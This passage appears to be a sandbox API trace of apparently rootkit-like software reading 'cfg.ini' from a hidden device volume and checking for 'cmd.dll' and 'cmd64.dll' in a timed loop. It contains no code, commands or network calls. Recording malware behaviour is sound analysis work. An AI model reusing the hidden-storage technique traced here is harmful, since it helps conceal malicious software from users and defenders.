FastMutex=0xfffffa80027d3898) [0121.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.067] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.067] IdePortDispatch () returned 0x103 [0121.067] KeWaitForMutexObject () returned 0x0 [0121.067] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.067] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.067] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.067] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.067] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.067] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3bb0 [0121.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.067] KeLeaveCriticalRegion () [0121.067] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.067] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.067] KeEnterCriticalRegion () [0121.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.067] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.067] KeLeaveCriticalRegion () [0121.067] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.067] KeEnterCriticalRegion () [0121.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.067] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.067] IdePortDispatch () returned 0x103 [0121.067] KeWaitForMutexObject () returned 0x0 [0121.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.068] KeLeaveCriticalRegion () [0121.068] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.068] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.068] KeEnterCriticalRegion () [0121.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.068] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800356f000 [0121.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.068] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.068] IdePortDispatch () returned 0x103 [0121.068] KeWaitForMutexObject () returned 0x0 [0121.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.068] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.068] IdePortDispatch () returned 0x103 [0121.068] KeWaitForMutexObject () returned 0x0 [0121.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.068] KeLeaveCriticalRegion () [0121.068] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.069] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.069] KeEnterCriticalRegion () [0121.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.069] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.069] KeLeaveCriticalRegion () [0121.069] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.069] KeEnterCriticalRegion () [0121.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.069] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.069] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.069] KeLeaveCriticalRegion () [0121.069] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.069] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.069] KeEnterCriticalRegion () [0121.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.069] ExFreePoolWithTag (P=0xfffffa8003bc3bb0, Tag=0x0) [0121.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.069] KeLeaveCriticalRegion () [0121.069] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.069] ReleaseMutex (hMutex=0xf0) returned 1 [0121.069] Sleep (dwMilliseconds=0x124f80) [0121.081] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.081] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.081] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.081] KeEnterCriticalRegion () [0121.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.082] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.082] IdePortDispatch () returned 0x103 [0121.082] KeWaitForMutexObject () returned 0x0 [0121.082] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.082] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.082] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.082] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.082] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.082] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbdc0 [0121.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.082] KeLeaveCriticalRegion () [0121.082] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.082] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.082] KeEnterCriticalRegion () [0121.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.082] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.082] KeLeaveCriticalRegion () [0121.082] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.082] KeEnterCriticalRegion () [0121.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.082] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.082] IdePortDispatch () returned 0x103 [0121.082] KeWaitForMutexObject () returned 0x0 [0121.082] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.082] KeLeaveCriticalRegion () [0121.083] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.083] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.083] KeEnterCriticalRegion () [0121.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.083] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003573000 [0121.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.083] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.083] IdePortDispatch () returned 0x103 [0121.083] KeWaitForMutexObject () returned 0x0 [0121.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.083] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.083] IdePortDispatch () returned 0x103 [0121.083] KeWaitForMutexObject () returned 0x0 [0121.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.083] KeLeaveCriticalRegion () [0121.083] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.084] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.084] KeEnterCriticalRegion () [0121.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.084] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.084] KeLeaveCriticalRegion () [0121.084] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.084] KeEnterCriticalRegion () [0121.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.084] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.084] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.084] KeLeaveCriticalRegion () [0121.084] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.084] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.084] KeEnterCriticalRegion () [0121.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.084] ExFreePoolWithTag (P=0xfffffa8003bbbdc0, Tag=0x0) [0121.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.084] KeLeaveCriticalRegion () [0121.084] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.084] ReleaseMutex (hMutex=0xf0) returned 1 [0121.084] Sleep (dwMilliseconds=0x124f80) [0121.093] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.095] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.096] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.096] KeEnterCriticalRegion () [0121.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.096] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.096] IdePortDispatch () returned 0x103 [0121.096] KeWaitForMutexObject () returned 0x0 [0121.096] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.096] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.096] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.096] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.096] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.096] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3b60 [0121.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.096] KeLeaveCriticalRegion () [0121.096] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.096] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.096] KeEnterCriticalRegion () [0121.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.096] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.096] KeLeaveCriticalRegion () [0121.096] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.096] KeEnterCriticalRegion () [0121.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.096] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.096] IdePortDispatch () returned 0x103 [0121.096] KeWaitForMutexObject () returned 0x0 [0121.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.097] KeLeaveCriticalRegion () [0121.097] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.097] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.097] KeEnterCriticalRegion () [0121.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.097] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b7000 [0121.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.097] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.097] IdePortDispatch () returned 0x103 [0121.097] KeWaitForMutexObject () returned 0x0 [0121.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.097] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.097] IdePortDispatch () returned 0x103 [0121.097] KeWaitForMutexObject () returned 0x0 [0121.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.097] KeLeaveCriticalRegion () [0121.097] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.098] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.098] KeEnterCriticalRegion () [0121.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.098] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.098] KeLeaveCriticalRegion () [0121.098] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.098] KeEnterCriticalRegion () [0121.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.098] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.098] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.098] KeLeaveCriticalRegion () [0121.098] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.098] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.098] KeEnterCriticalRegion () [0121.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.098] ExFreePoolWithTag (P=0xfffffa8003bc3b60, Tag=0x0) [0121.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.098] KeLeaveCriticalRegion () [0121.098] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.098] ReleaseMutex (hMutex=0xf0) returned 1 [0121.098] Sleep (dwMilliseconds=0x124f80) [0121.106] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.106] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.106] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.106] KeEnterCriticalRegion () [0121.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.106] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.106] IdePortDispatch () returned 0x103 [0121.106] KeWaitForMutexObject () returned 0x0 [0121.106] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.106] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.106] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.106] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.107] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.107] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3b60 [0121.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.107] KeLeaveCriticalRegion () [0121.107] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.107] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.107] KeEnterCriticalRegion () [0121.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.107] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.107] KeLeaveCriticalRegion () [0121.107] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.107] KeEnterCriticalRegion () [0121.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.107] MmProbeAndLockPages (in: 